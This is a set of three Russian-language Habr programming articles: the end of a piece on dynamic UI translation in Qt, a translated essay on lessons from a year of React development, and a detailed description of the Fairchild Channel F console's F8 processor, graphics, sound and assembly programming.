##### Решение 3: ~~ещё один велосипед~~ ещё одна обертка
Идея проста: а давайте мы воспользуемся таким удобным средством Qt, как [мета-объектная система](http://qt-project.org/doc/qt-4.8/metaobjects.html) (подразумевается, что сигналы и слоты относятся сюда же). Напишем класс, которому будем передавать указатель на целевой объект, а также объект перевода из первой части статьи — *Translator*. Помимо этого укажем, в какое свойство ([property](http://qt-project.org/doc/qt-4.8/properties.html)) записывать перевод, или в какой [слот](http://qt-project.org/doc/qt-4.8/signalsandslots.html) передавать в качестве аргумента. Итак, меньше слов, больше дела:
**dynamictranslator.h**
```
class DynamicTranslator : public QObject
{
Q_OBJECT
private:
QByteArray targetPropertyName;
QByteArray targetSlotName;
Translation translation;
public:
explicit DynamicTranslator(QObject *parent, const QByteArray &targetPropertyName, const Translation &t);
explicit DynamicTranslator(QObject *parent, const Translation &t, const QByteArray &targetSlotName);
protected:
bool event(QEvent *e);
private:
Q_DISABLE_COPY(DynamicTranslator)
};
```
**dynamictranslator.cpp**
```
DynamicTranslator::DynamicTranslator(QObject *parent, const QByteArray &targetPropertyName, const Translation &t) :
QObject(parent)
{
this->targetPropertyName = targetPropertyName;
translation = t;
}
DynamicTranslator::DynamicTranslator(QObject *parent, const Translation &t, const QByteArray &targetSlotName) :
QObject(parent)
{
this->targetSlotName = targetSlotName;
translation = t;
}
bool DynamicTranslator::event(QEvent *e)
{
if (e->type() != QEvent::LanguageChange)
return false;
QObject *target = parent();
if (!target)
return false;
if (!targetPropertyName.isEmpty())
target->setProperty(targetPropertyName.constData(), translation.translate());
else if (!targetSlotName.isEmpty())
QMetaObject::invokeMethod(target, targetSlotName.constData(), Q_ARG(QString, translation.translate()));
return false;
}
```
Что же тут происходит? При создании экземпляра класса *DynamicTranslator* мы указываем целевой объект, перевод, а также имя слота (например, *setWindowTitle*) или имя свойства (*windowTitle*). Наш *DynamicTranslator* при каждой смене языка либо вызывает соответствующий слот при помощи [QMetaObject](http://ht</i>tp://qt-project.org/doc/qt-4.8/qmetaobject.html), либо устанавливает нужное свойство при помощи [setProperty](http://qt-project.org/doc/qt-4.8/qobject.html#setProperty). Вот как это выглядит на практике:
```
int main(int argc, char **argv)
{
QApplication app(argc, argv);
QTranslator *t = new QTranslator;
t->load("/path/to/translations/myapp_ru.qm");
QApplication::installTranslator(t);
QWidget *w = new QWidget;
Translation t = Translation::translate("main", "Cool widget");
w->setWindowTitle(t);
new DynamicTranslator(w, "windowTitle", t);
w->show();
LanguageSettingsWidget *lw = new LanguageSettingsWidget;
lw->show();
int ret = app.exec();
delete w;
return ret;
}
```
Благодаря тому, что виджет *w* является родителем нашего *DynamicTranslator*, нет необходимости беспокоиться о его удалении — *DynamicTranslator* будет удалён вместе с *QWidget*.
#### Вместо заключения
Безусловно, рассмотренные способы борьбы с неудобствами переводов не являются единственными, и уж тем более — единственно верными. Например, в достаточно больших приложениях вообще могут быть использованы сторонние средства перевода вместо тех, что предоставляет Qt (например, можно хранить все тексты в файлах, а в коде указывать только идентификаторы). Опять же, в больших приложениях пара десятков лишних строк (в случае с наследованием или написанием фабричной функции) не сделает погоды. Тем не менее, приведенные здесь решения могут сэкономить немного времени и строк кода, а также сделать этот код более естественным.
Критика и альтернативные решения всегда приветствуются — давайте писать более правильный, красивый и понятный код вместе. Благодарю за внимание. | https://habr.com/ru/post/247207/ | null | ru | null |
# Год, проведённый с React: выводы и рекомендации
Обычно начало работы с новой технологией — это не так уж и просто. Новичок попадает в бескрайнее море учебных руководств и статей. При этом за каждым из подобных материалов стоит личное мнение его автора, а каждый автор заявляет, что именно его устами глаголет истина.
С точки зрения здравого смысла понятно, что далеко не все статьи, опубликованные в интернете, способны принести реальную пользу, поэтому тем, кто пытается освоить что-то новое, приходится оценивать публикации в попытке найти ответ на вопрос о том, стоит ли тратить на них своё время.
[](https://habr.com/company/ruvds/blog/413501/)
Прежде чем уйти с головой в учёбу, программисту необходимо понять основы интересующей его технологии. Затем нужно сформировать своё видение этой технологии, научиться мыслить её категориями. В результате, если некто начинает изучать React, сначала ему нужно научиться «думать на языке React». А уже после того, как он разовьёт в себе это качество, он сможет осмысленно знакомиться с мнениями других людей и, отбирая самое ценное, развиваться в избранном направлении.
Автор статьи, перевод которой мы публикуем сегодня, хочет поделиться со всеми желающими тем, что ему удалось узнать о React в ходе формирования собственного видения этой технологии, в ходе её изучения и накопления опыта в этой области. Здесь он расскажет о том, что ему удалось понять за год, работая React-программистом, занимаясь в свободное время собственными проектами и делясь своими идеями на одной JavaScript-конференции.
React — это постоянно развивающаяся технология
----------------------------------------------
Так как React находится в процессе постоянного развития, любой, кто хочет освоить эту технологию, должен быть готовым к постоянному поддержанию своих знаний и навыков в актуальном состоянии. Если вы помните анонс React 16.3.0, то знаете о восторге в сообществе программистов, который вызвали новые возможности. Среди них — официальное API Context, API createRef и forwardRef, строгий режим, изменения в жизненном цикле компонентов. Основная команда разработчиков React и все, кто внёс посильный вклад в развитие проекта, проделали потрясающую работу, стремясь усовершенствовать всеми нами любимый фреймворк. Эта работа не останавливается. Так, например, в версии 16.4.0 появилась поддержка событий указателей ([pointer events](https://reactjs.org/blog/2018/05/23/react-v-16-4.html)).
Развитие React продолжается, появление новшеств — это лишь вопрос времени. Среди таких новшеств — асинхронный рендеринг, кэширование, множество изменений, ожидаемых в React 17.0.0, и нечто такое, о чём пока ещё никто не знает.
Учитывая вышесказанное, понятно, что если вы хотите оставаться на переднем крае React-разработки, вам необходимо быть в курсе новшеств. Это означает, что вам нужно знать о том, как работают новые механизмы фреймворка, и о том, почему они были созданы. Вам необходимо понимать то, какие проблемы они решают, и то, как они упрощают разработку.
Не бойтесь разбивать свой код на небольшие фрагменты
----------------------------------------------------
React основан на компонентах. Это говорит о том, что данную концепцию следует использовать и смело разбивать крупные фрагменты кода на более мелкие части. Иногда простой компонент может состоять всего из 4-5 строк кода, и, в некоторых случаях, это совершенно нормально.
К фрагментации кода следует подходить так, чтобы, если к вашему проекту подключился бы новый разработчик, ему не пришлось бы тратить многие дни на то, чтобы понять, как этот проект устроен и как он работает.
```
// Этот фрагмент кода совершенно понятен, не правда ли?
return (
[
,
]
);
```
Вы не обязаны создавать огромные компоненты, содержащие в себе всю логику, необходимую для их работы. Компонент, например, может описывать лишь визуальное представление некоей сущности. Если применение небольших компонентов улучшит читаемость кода, позволит легче его тестировать и облегчит поддержку проекта в будущем, то систематическое применение такого подхода — это замечательное решение, которое положительно скажется на работе каждого члена команды.
```
import ErrorMessage from './ErrorMessage';
const NotFound = () => (
);
```
В вышеприведённом примере применяются статические свойства. Перед нами — чистый компонент, который ответственен за вывод сообщения об ошибке `Not Found` и ни за что другое.
Кроме того, если вам не хочется, чтобы повсюду в вашем коде встречались CSS-классы и имена классов, я бы порекомендовал использовать стилизованные компоненты. Это способно значительно улучшить читабельность кода.
```
const Number = styled.h1`
font-size: 36px;
line-height: 40px;
margin-right: 5px;
padding: 0px;
`;
//..
{skipRatePre}
Skip Rate
```
Если вы опасаетесь создавать слишком много маленьких компонентов из-за того, что вам кажется, что их файлы засоряют папки с материалами проекта, подумайте о том, чтобы по-другому структурировать ваш код. Я использовал для организации материалов [фрактальную структуру](https://hackernoon.com/fractal-a-react-app-structure-for-infinite-scale-4dab943092af) проекта, и должен сказать, что это — просто замечательно.
Не останавливайтесь на достигнутом после того, как разберётесь с основами
-------------------------------------------------------------------------
Иногда вам может казаться, что вы недостаточно хорошо что-то понимаете для того, чтобы переходить к изучению и использованию более продвинутых вещей. Обычно, как правило, об этом не стоит особенно беспокоиться — просто начните осваивать то, что кажется вам слишком сложным и докажите себе, что вы способны в этом разобраться и это использовать.
Например, если вы находитесь в начале пути React-разработчика, вы можете обнаружить множество непростых на первый взгляд паттернов проектирования, которые вам стоит исследовать. Среди них — Compound Components, High Order Components, Render Props, Smart Components, Dumb Components и много чего ещё (например, рекомендуется освоить технологию профилирования производительности компонентов).
Освойте все эти технологии, и вы поймёте — почему и зачем они используются. В результате их изучения вы обнаружите, что теперь вам удобнее разрабатывать проекты на React.
```
// Всё это выглядит весьма таинственно?
// На самом деле, всё не так уж и сложно, если в этом разобраться.
render() {
const children = React.Children.map(this.props.children,
(child, index) => {
return React.cloneElement(child, {
onSelect: () => this.props.onTabSelect(index)
});
});
return children;
}
```
Кроме того, не бойтесь пользоваться чем-то новым в ходе работы, естественно, в разумных пределах. При этом не стоит ограничивать использование новых подходов только экспериментами в проектах, которыми вы занимаетесь в свободное время.
Если у тех, с кем вы работаете, возникнут вопросы по поводу ваших новшеств — знайте, что это совершенно нормально. Будьте готовы к тому, чтобы защитить принятые вами решения с помощью весомых аргументов в их пользу.
Ваша цель должна заключаться в том, чтобы решить существующую проблему, упростить дальнейшую разработку или просто улучшить читаемость кода, который раньше выглядел неопрятным. Даже если ваши предложения, в результате обсуждений с командой, будут отвергнуты, вы, по крайней мере, узнаете что-то новое, а это гораздо лучше, чем ничего нового не предлагать и при этом не развиваться как разработчик.
Не стремитесь к чрезмерному усложнению проектов
-----------------------------------------------
Возможно, эта рекомендация покажется вам идущей вразрез с предыдущей, посвящённой экспериментам с новыми технологиями, но, на самом деле, это не так. Везде, что в жизни, что в программировании, нам нужен баланс. Не стоит переусложнять нечто только ради того, чтобы продемонстрировать окружающим собственную продвинутость. Лучше всего подходить к происходящему с точки зрения практичности. Пишите код, который легко понять, и который решает поставленные перед ним задачи.
Например, если в вашем проекте не нужен Redux, но вы хотите использовать эту библиотеку только потому, что все ей пользуются, и при этом вы не особенно задумываетесь о целях использования Redux — не делайте этого. Лучше — разберитесь с Redux, сформируйте у себя понимание этой технологии, и, если увидите, что то, что происходит в вашем проекте, идёт вразрез с тем, что вы поняли, будьте готовы защитить свою точку зрения.
Иногда вам может казаться, что используя новейшие технологии и создавая сложный код, вы заявляете всему миру примерно следующее: «Я — не начинающий разработчик, я становлюсь профессионалом. Вот какой код я пишу!».
Честно говоря, я сам был таким в начале карьеры разработчика. Но со временем приходит понимание того, что код, который написан без стремления что-то кому-то доказать, код, в котором технологии не используются только потому, что они могут быть в нём использованы, без серьёзных причин прибегать к этим технологиям, значительно облегчает жизнь любого разработчика. Вот в чём это выражается:
1. Над проектом, который не переусложнён, может работать не только тот, кто понимает устройство этого проекта, но и другие члены команды. В результате задачи разработки, исправления ошибок, тестирования, и многие другие, может решить не только создатель этого проекта.
2. Другие программисты могут понять то, что вы делаете, не тратя слишком много времени на выслушивание ваших разъяснений. Вы сможете ввести их в курс дела за пару минут.
3. Когда основной разработчик, скажем, уходит в двухнедельный отпуск, другие свободно могут взять на себя его задачи, при этом им не придётся просиживать целый рабочий день над тем, что делается в течение пары часов.
Люди хорошо относятся к тем, кто не усложняет им жизнь. Таким образом, если вы стремитесь к тому, чтобы в команде вас уважали, и к тому, чтобы быть на хорошем счету у начальства, старайтесь писать код для команды, а не для себя. В результате вы станете человеком, с которым легко и приятно работать.
Рефакторинг — это нормально
---------------------------
Вы, в ходе работы над неким проектом, можете десятки раз менять точку зрения на некоторые вещи, а менеджер проекта может ещё чаще пересматривать свои взгляды. Кто-то критикует то, что сделали вы, и вы, если критика обоснована, начинаете что-то менять; вы критикуете работу других, и они, прислушиваясь к вам, переделывают то, что написали. В результате код приходится постоянно переписывать.
Не стоит воспринимать подобное как нечто негативное. Учитывая то, что программистам постоянно приходится изучать что-то новое, рефакторинг — это совершенно нормально. Развитие — это обычно путь проб и ошибок. И чем чаще некто спотыкается, продвигаясь по этому пути, тем легче ему будет справляться со сложностями и идти дальше.
Однако, для того, чтобы рефакторинг не превращался в кошмар, рекомендуется достаточное внимание уделять тестам. Не стесняйтесь тестировать всё, до чего можете дотянуться. Пожалуй, каждый программист либо уже столкнулся, либо ещё встретится с ситуацией, в которой хорошие тесты помогут ему сэкономить массу времени. А если вы, как и многие другие, полагаете, что тесты — это пустая трата времени, попытайтесь воспринимать их не так, как прежде. А именно, вот преимущества, которые получает разработчик и его команда от хороших тестов:
1. Вам не приходится подолгу просиживать с коллегами, объясняя им, как всё работает.
2. Вам не приходится объяснять причины, по которым нечто вышло из строя.
3. Вам не приходится исправлять чужие ошибки.
4. Вам не приходится исправлять ошибки, которые объявились через несколько недель после релиза.
5. У вас, благодаря чёткой организации проверок проекта, появляется время на решение различных задач, не связанных с отладкой неизвестно откуда берущихся ошибок.
На самом деле здесь приведён лишь небольшой список преимуществ, которые получают программист и его сослуживцы от хорошо организованной системы тестирования проектов.
Любовь к своему делу — основа успеха
------------------------------------
Год назад я решил стать более продвинутым React-разработчиком. Мне хотелось, кроме прочего, выступать на различных мероприятиях, делиться радостью узнавания нового с другими людьми.
Я могу всю ночь просидеть за компьютером, занимаясь любимым делом и наслаждаясь каждой минутой происходящего. Дело тут в том, что если человек к чему-то по-настоящему стремится, то, тем или иным образом, всё вокруг помогает ему идти к цели. Например, недавно я впервые выступил на небольшой конференции перед двумя сотнями зрителей.
За это время я вырос как React-разработчик, узнал много нового. В частности, это касается различных паттернов проектирования, принципов разработки проектов, внутренних механизмов фреймворка. Теперь я могу общаться на темы, которые раньше казались мне недоступными, и, более того, могу учить других тому, на что раньше и взглянуть не решался. При этом сегодня я чувствую тот же восторг и удовольствие, что и год назад.
Поэтому я порекомендовал бы каждому спросить себя: «Тебе нравится то, чем ты занимаешься?». Если ответ на этот вопрос отрицателен — найдите то, что вам по-настоящему нравится, что-то такое, о чём вы можете часами говорить, что-то такое, чем можете заниматься дни и ночи напролёт, чувствуя себя при этом совершенно счастливым. Для того чтобы расти и развиваться в любой области, каждому надо найти то, что ему по душе. Человека нельзя заставить добиться успеха в чём бы то ни было. Человек может достичь успеха лишь тогда, когда он сознательно и с удовольствием занимается тем, что ему нравится.
Если бы я мог вернуться на год назад и встретить там самого себя, я сказал бы себе именно это для того, чтобы подготовить себя к большому и интересному пути, который меня ждёт.
**Уважаемые читатели!** Какими советами, подсказанными опытом, вы могли бы поделиться с начинающими веб-разработчиками?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/413501/ | null | ru | null |
# Архитектура и программирование Fairchild Channel F
*«Channel F homebrew would be like programming sprites via hardware jumpers...»
/ chadtower, atariage forum /*
Игровая приставка [Fairchild Channel F](https://en.wikipedia.org/wiki/Fairchild_Channel_F), также известная как VES, появилась в ноябре 1976 года. В отличие от своих предшественников типа Ping-Pong, Tennis (в том же ряду — советский «Видеоспорт»), у неё было очень существенное отличие — наличие микропроцессора и картриджей с программами. До этого игры в приставках реализовывались на жёсткой логике — программа, в современном понимании, там отсутствовала.
Fairchild Channel F выпускалась вплоть до 1983 года. За это время было продано более четверти миллиона этих приставок и выпущено около 30-40 [игр](https://www.youtube.com/watch?v=F3Bo_2A5UaU), [некоторые](https://www.youtube.com/watch?v=QjFSjEp1tQU) из которых — уже в 2000-х годах.
Говоря о первенстве в плане использования микропроцессора стоит отметить, что RCA Studio II, о которой я рассказывал в прошлой статье, опоздала всего на пару месяцев, но оказалась существенно слабее Channel F, ввиду чего и провалилась по продажам. Впрочем, появление, менее чем через год, Atari VCS — вытеснило с рынка и Channel F.
Развития Fairchild\_Channel\_F, как такового, не было. В System II и нескольких клонах, типа Saba Videoplay 2 (1979), отличия состояли преимущественно в корпусе, джойстиках (кстати, все они понимали кроме обычных положений ещё и поворот ручки) и количестве микросхем. Архитектурно всё было практически идентично.
Что же собой представляет Channel F?
Процессор
=========
Процессор, в традициях эпохи, производился той же компанией Fairchild, что и сама приставка и называется F8 [en.wikipedia.org/wiki/Fairchild\_F8](https://en.wikipedia.org/wiki/Fairchild_F8). Это 8-разрядный процессор 1974 года выпуска, работающий на частоте 1.8МГц (одна инструкция занимает от 1 до 6 тактов).
Микропроцессором его можно назвать, однако, лишь с натяжкой, поскольку состоит этот процессор из двух чипов — вычислительного устройства 3850CPU, содержащего АЛУ, аккумулятор, 64 байта SRAM, логику необходимую для выполнения инструкций, два порта (шины адреса нет!) и 3851PSU (Programmable Storage Unit), который содержит 1кб ПЗУ (используется для BIOS), указатель команд, схемы адресации памяти, прерываний, таймер (прерывания и таймер конкретно в Channel F не используются).
Позднее появился чип F3859, который объединял CPU и PSU на одном кристалле и Mostek 3870 — чуть усовершенствованная версия, выпускавшаяся вплоть до 1990-х. Впрочем, это уже отдельная история. Интересно, что иногда F8 называют микроконтроллером (в частности, из-за наличия таймера и портов) и упоминают как предка семейства Intel MCS-48 (8048).
Помимо Channel F, процессор F8 использовался также в компьютере [VideoBrain](https://en.wikipedia.org/wiki/VideoBrain_Family_Computer) и в шахматном компьютере [CompuChess](https://www.chessprogramming.org/CompuChess). В целом удивительно, что об этом процессоре очень мало информации. За исключением пары описаний от Fairchild и исходников нескольких игр и примеров конкретно для Channel F — больше ничего толком и нет. Такое впечатление, что этот процессор больше нигде не использовали, что кажется невероятным (учитывая, что его продвинутые версии выпускались довольно долго). Предположу, что все остальные устройства, где он применялся — были военного назначения.
Теперь немного об особенностях процессора. Наводят на размышления набор и функции его регистров. Думаю, это одна из самых замороченных из существовавших в то время архитектур (наверное современные могут потягаться, но сравнение будет некорректным, т.к. они рассчитаны на компиляторы. С F8 же работали живые люди).
Регистров в процессоре много. Помимо 8-разрядного аккумулятора A и регистра флагов W (I,O,Z,C,S), имеется ещё «scratchpad» — 64 восьмиразрядные ячейки с различными функциями.
Первые девять ячеек используются как регистры общего назначения R0-R8 в командах типа 'lr a, 7" (загрузить содержимое регистра R7 в аккумулятор). Обратите внимание, что буква R не указывается — пишется лишь номер регистра. Что именно имеется ввиду, число или номер — должно быть ясно из контекста. Скажем, в случае с инструкцией lr чисел просто не может быть. А если это, допустим, «li 7» (загрузить константу в аккумулятор), то там это точно число, а не регистр.
Ячейки 9, 10-11 (H), 12-13 (K), 14-15 (Q) предназначены для сохранения других регистров в разных, типа вызова подпрограмм, ситуациях.
Регистры R16-R63 доступны только через специальный индексный регистр ISAR (Indirect Scratchpad Address Register), как шесть восьмибайтных буферов, которые образуются из ячеек 16-23, 24-31, 32-39, 40-47, 48-55, 56-63.
Шестиразрядный ISAR разделён на две части по 3 разряда. При увеличении или уменьшении ISAR на единицу, затрагиваются только младшие 3 разряда — т.е. адресация осуществляется в пределах одного из шести упомянутых восьмибайтных буферов (конец буфера при этом можно отследить специальной инструкций условного перехода br7).
```
clr ; 0 -> A
; set ISAR to full address Ox27 (octal 27)
lisu 2 ; buffer N2
lisl 7 ; index within buffer N2
loop:
lr d,a ; A-> buffer N2[index], than decrement ISAR (27, 26, 25, ... )
br7 loop ; go further if low part of ISAR contains 7 (end of buffer N2). if not, go loop again
```
В данном случае «d» в инструкции «lr d,a» — это не название регистра, а признак того, что ISAR надо будет уменьшить («i» — увеличивать, «s» — оставлять неизменным).
Есть и другой способ косвенной адресации — через регистр DC0 (Data Counter):
```
dci data_addr ; data_addr -> DC0
lm ; [data_addr] -> A, DC0 + 1 -> DC0
...
data_addr:
db 0,1,2,3,...
```
Если нужно переносить данные из одной области памяти в другую, то дополнительно используется команда xdc, которая меняет местами содержимое регистров DC0 и DC1. Т.е. читаем из адреса на который указывает DC0, потом делаем xdc и пишем по адресу, в который указывает теперь уже DC1. Потом снова xdc, и т.д. Т.е. DC1 — это некий теневой регистр для хранения копии DC0. Напрямую к нему обращаться (кроме как командной xdc) — нельзя.
Приведённые примеры иллюстрируют лишь часть возможностей в плане адресации, на самом деле их больше.
Также в F8 имеются четыре порта — 0,1,4,5, в которые можно писать командой out и читать командой in. В Channel F порты используются для вывода графики, звука и чтения состояния джойстика.
На прочих инструкциях типа арифметики, переходов и прочего особо останавливаться не буду — они достаточно стандартны. Отмечу лишь, что выбор регистров над которыми можно производить действия очень ограничен, поэтому код быстро разрастается из-за необходимости постоянно перемещать значения туда-сюда.
Отсутствует вычитание (есть только сложение). Инструкции уменьшения (ds) и увеличения (inc) на единицу — несимметричны. ds работает только с регистрами r0-r8, inc — только с аккумулятором.
Безусловный переход портит аккумулятор.
Пример обычного цикла:
```
li 25 ; (r4) number of iterations
lr 4,a
next:
ds 4 ; r4--
bnz next ; until r4 == 0
```
Подпрограммы
============
Поскольку в F8 нет аппаратного стека, имеются сложности с вложенными вызовами подпрограмм. Обычный вызов и возврат выглядит так:
```
; ...code
pi sub ; Pushes address of next instruction to PC1
; address of sub is stored in PC0 (jump to subroutine)
; ...code continues
sub:
; ... often used code
pop ; Move return address from PC1 to PC0
```
Здесь PC0 — это обычный указатель команд. PC1 — так называемый «регистр стека». К стеку он отношения не имеет, просто в него сохраняется PC0 при вызове подпрограммы.
Если из sub вызывается ещё одна подпрограмма, адрес возврата затирается и нужно усложнять (сохранять первый адрес возврата в регистр K):
```
prog:
; ...do something...
pi sub1 ; Address of next instruction stored in PC1
; sub1 is stored in PC0 (jump to subroutine)
; ...do more...
sub1:
lr k,p ; Copy PC1 to K, original jump address to K
; ...do something...
pi sub2 ; Pushes address of next instruction to PC1
; sub1 is stored in PC0 (jump to subroutine)
; ...do more...
pk ; Store address of next instruction in PC1
; Copy value in K to PC0 (jump back to main)
sub2:
; ...do something...
pop ; Move return address from PC1 to PC0
```
Если же нужен ещё и третий уровень вложенности, то всё становится совсем грустно (в BIOS для этого есть даже две специальных подпрограммы — pushk и popk).
Общая рекомендация — стараться заменять вызовы подпрограмм макросами. Конечно, если нет жёстких ограничений на размер кода.
Аппаратного стека в F8 нет. При необходимости он реализуется программно — через ISAR и буферы.
Запись в ОЗУ не очень актуальна (за неимением такового), но выглядит так:
```
li $FF ; set value
dci $3800 ; set target address
st ; write
```
Память
======
Хотя это прозвучит несколько странно, но ОЗУ в Fairchild Channel F нет. Имеющиеся два килобайта видеопамяти (MK4027) не отображаются в адресное пространство, да и вообще — недоступны для чтения, запись в них осуществляется через порты. Регистры же микропроцессора, хоть их аж целых 64, за ОЗУ считать вряд ли корректно.
Исполняемая программа хранится в сменных ROM картриджах, чаще всего имеющих ёмкость 2кб (некоторые современные игры используют 3к, 4к и 5к картриджи). Кроме того есть, встроенное в микросхему процессора, ПЗУ BIOS объемом 1кб, содержащее простую игру типа Tennis, пару-тройку полезных подпрограмм и образы нескольких символов.
В адресном пространстве BIOS расположен с $0000 по $07ff, ПЗУ картриджа — с $0800.
Графика
=======
Графические возможности Channel F весьма примитивны, поскольку видеоконтроллера в виде отдельного чипа там просто нет — всё реализовано на обычной логике типа сдвиговых регистров, вентилей и операционных усилителей. Довольно необычно, что в разных источниках упоминается разное разрешение, причём вариантов — множество. Дело в том, что имеющиеся 2 килобайта видеопамяти подразумевают разрешение 128 x 64, но в реальности это далеко не так. Во-первых, многое зависит от того, какая область формируемого изображения на данном конкретном телевизоре видна (из-за чего первые 4 столбца официально вообще не используются). Во-вторых, последние несколько столбцов используются под палитру. В третьих, часть памяти не используется вообще.
В итоге — фактическое разрешение можно примерно оценить как 95 x 58 пикселов при 8 цветах (что, впрочем, сильно лучше, чем RCA Studio II с её черно-белыми 64x32).
Большинство приставок выпущено в NTSC варианте, однако PAL тоже существуют. Практических различий, как пишут, нет (количество строк то же самое).
По существу, такое простое железо позволяет лишь рисовать на экране точки. Хотя общее количество отображаемых цветов — 8, однако в пределах одной строки могут быть отображены лишь четыре (можно условно назвать это палитрой). Палитра устанавливается индивидуально для каждой строки, причём хранится в довольно странном месте — в столбцах 125 и 126 каждой из строк (которые в любом случае находятся за пределами видимой области). Изменение палитры производится, соответственно, рисованием пикселов в этих двух столбцах.
(жёлтым выделены область видеопамяти, которая фактически видна на экране и область, где устанавливается палитра)
Как уже отмечалось выше, записать данные в VRAM можно лишь одним способом — через порты. При этом указывается цвет, столбец, строка:
X записывается в порт 4, Y в порт 5, цвет в порт 1, после чего записью константы в порт 0 осуществляется передача данных:
```
; set color (2 bit per pixel)
li $00 ; color ($00 = green, $40 = red, $80 = blue, $C0 = background)
outs 1
li 104 ; X
com
outs 4
; set the row
li 61 ; Y
com
outs 5
; transfer data to VRAM
li $60
outs 0
li $50
outs 0
; wait for update
lis 6
delay:
ai $ff
bnz delay
```
Задержка требуется, чтобы всё успело записаться, иначе следующая точка может не нарисоваться. В официальной версии к столбцу и строке ещё добавляется 4 (для простоты опущено)
Заполнить весь экран точками (в цикле) занимает таким образом порядка секунды. Важно отметить, что к чрезвычайно медленному обновлению экрана добавляется ещё и то, что нет способа подождать обратного хода луча по кадру. Соответственно, даже небольшая перерисовка неизбежно сопровождается мерцанием.
Теперь о палитре. Строго говоря, для каждой строки есть два режима — чёрно-белый (когда фон чёрный, а передний план — только белый, какой бы пиксел не нарисовали) и цветной.
В цветном режиме цветов переднего плана всегда три — красный, зелёный, голубой (rgb). Плюс один из трёх цветов фона — серый, светло-синий, светло-зелёный.
Для установки палитры в столбцы 125 и 126 нужно записать следующие значения:
```
x=125 x=126 palette
---------------------------------------------------------------------
00 00 COLOR: rgb, light green bg
00 ff COLOR: rgb, light blue bg
ff 00 COLOR: rgb, gray bg
ff ff B/W: www, black bg
```
В типовых играх обычно поступают так: сначала задают некий общий фон, для чего можно воспользоваться готовой процедурой BIOS:
```
li $c6 ; $21 - b/w palette, fill with black. $c6 - color palette, fill with gray
lr 3, A
pi clrscrn ; clrscrn BIOS call
```
Затем, при необходимости, делают полосу с чёрно-белой палитрой (к примеру, для вывода счёта игры белыми цифрами на чёрном фоне)
И далее уже ставят пикселы одного из трёх цветов (если фон серый, соответственно — r,g,b). В итоге, цветов-то конечно 8, но поставить в конкретное место точку произвольного цвета так вот запросто — нельзя. [Вот набор картинок](https://www.youtube.com/watch?v=F6f3RWGV7jQ), которые дают некоторое представление о цветах и их сочетаниях.
Собственно, на этом вся графика, как таковая, заканчивается — всё, что хочется делать, делается рисованием пикселов, причём вручную. Из полезных подпрограмм, в BIOS есть вывод символов. Однако, из соображений экономии места, в ПЗУ имеются лишь изображения цифр и отдельных знаков, размером 5x8 точек:
Тем не менее, процедура их вывода полезна и может быть использована следующим образом:
```
li 25 ; column
lr 1,a
li 25 ; row
lr 2,a
li %11000000 ; e.g. $c0 - green "0"
lr 0,a ; a -> r0
pi drawchar ; call subroutine
```
В вышеприведённом варианте старшие два разряда в регистре r0 определяют цвет (10 — red, 11 — green, 01 — blue, 00 — transparent), остальные — порядковый номер символа ( 0 1 2 3 4 5 6 7 8 9 G? T SPACE M X BLOCK: — center|| left|| ` ), начиная с нуля. В регистры r1 и r2 помещаются, соответственно, столбец и строка.
Более практичный вариант, чтобы не думать о разрядах:
```
li 20 ; x
lr 1,a ; a -> r1
li 10 ; y
lr 2,a ; a -> r2
li $40 ; char color in bits 6,7: $80 (%10000000) - red, $c0 (%11000000) - green, $40 (%01000000) - blue, $00 (%00000000) - transparent
oi 1 ; index of char ( e.g. 3 for "3" )
lr 0,a ; combined color + char index -> r0
pi drawchar ; call subroutine
```
Чтобы немного прочувствовать платформу, я написал для конкурса tiny intro на [Chaos Constructions'2019](https://chaosconstructions.ru) [256-байтное интро](https://github.com/petersobolev/cctro). Ничего особенного, но обратите внимание, для чего там использовано построчное изменение палитры. Ползущая горизонтальная полоска как бы подсвечивает строчку, которая под ней находится, временно заменяя весь фон на чёрный, а все пикселы на белые. Поскольку для этого не надо перезаписывать сами пикселы (и не надо их потом за собой восстанавливать), можно делать такую «подсветку» очень быстрой и без мерцаний.
Второй момент — буквы «CC». Поскольку букв «C» нет в BIOS, использовано наложение друг на друга букв GG и цифры 1, чтобы получить инверсные «CC».
Звук
====
Со звуком всё плохо. Официально есть три звука — 120Гц, 500 Гц и 1 КГц. Фактически, получить что-то кроме щелчков и сдавленного писка — проблематично. Вдобавок, говорят что между PAL и NTSC машинами, равно как и между старыми и новыми версиями звук ещё и отличается. Впрочем, для типовых игр — вполне достаточно. Включается и выключается звук через порты:
```
li %01000000 ; 1khz beep $40
outs 5
li %10000000 ; 500hz beep $80
outs 5
li %11000000 ; 120hz beep $c0
outs 5
; some pause
clr
outs 5 ; turn off sound
```
Народ развлекался даже проигрыванием музыки. [Лучшие](https://www.youtube.com/watch?v=9P3qLmKZILs) [образцы](http://battleofthebits.org/browser/EntryByFormat/channelf/) отдалённо напоминают PC-Speaker. Правда, практического смысла всё равно нет — все ресурсы процессора уходят на музыку, ничего особо уже не порисуешь.
Средства разработки
===================
В настоящее время существует [готовая подборка](http://channelf.se/veswiki/index.php?title=Main_Page) необходимого софта под названием «Development Pack».
Туда входит ассемблер DASM, дизассемблер, эмулятор MESS (с отладчиком). Всё это без проблем работает как минимум под Windows 7.
Параметры для ассемблирования и запуска:
```
dasm.exe test.asm -f3 -otest.bin
messd channelf -cartridge %cartPath%\test.bin -w -effect sharp -r 640x480 -ka
```
Эмулятор вполне неплох, хотя отладчик там чрезвычайно странный. Новую версию MAME/MESS мне настроить сходу не удалось (заметил, что настроить MAME под непопулярную платформу, которую он, якобы, поддерживает — каждый раз нетривиальная задача).
В эмуляторе предполагается, что разрешение видимой области соответствует minx=5,minY=5, maxX=105,maxY=61
Поскольку нет никакого удовольствия что-то писать под эмулятор, не опробовав результат вживую, пришлось решать проблему с эмулятором ПЗУ. По моей просьбе [tnt23](https://habr.com/ru/users/tnt23/) сделал специальный картридж (Александр Новожилов напечатал к нему корпус), в который вставляется EEPROM 28C16A. Из-за особенностей адресации F8, пришлось ещё покупать на eBay древнюю микросхему Fairchild 3853. В итоге, появилась возможность, запрограммировав EEPROM, смотреть, как выглядит код на живой машинке.
Кроме того, tnt23 приделал к Channel F S-Video выход (штатно её можно было подключить лишь к телевизору через антенный вход), что сильно улучшило качество изображения и цветопередачу.
Рассказ про Fairchild Channel F:
Ресурсы
=======
* [VES Wiki](http://channelf.se/veswiki/index.php?title=Main_Page)
* Схема [[1]](https://gamesx.com/wiki/lib/exe/fetch.php?media=schematics:fairchild-channel-f-schematic---page-1.png), [[2]](https://gamesx.com/wiki/lib/exe/fetch.php?media=schematics:fairchild-channel-f-schematic---page-2.png)
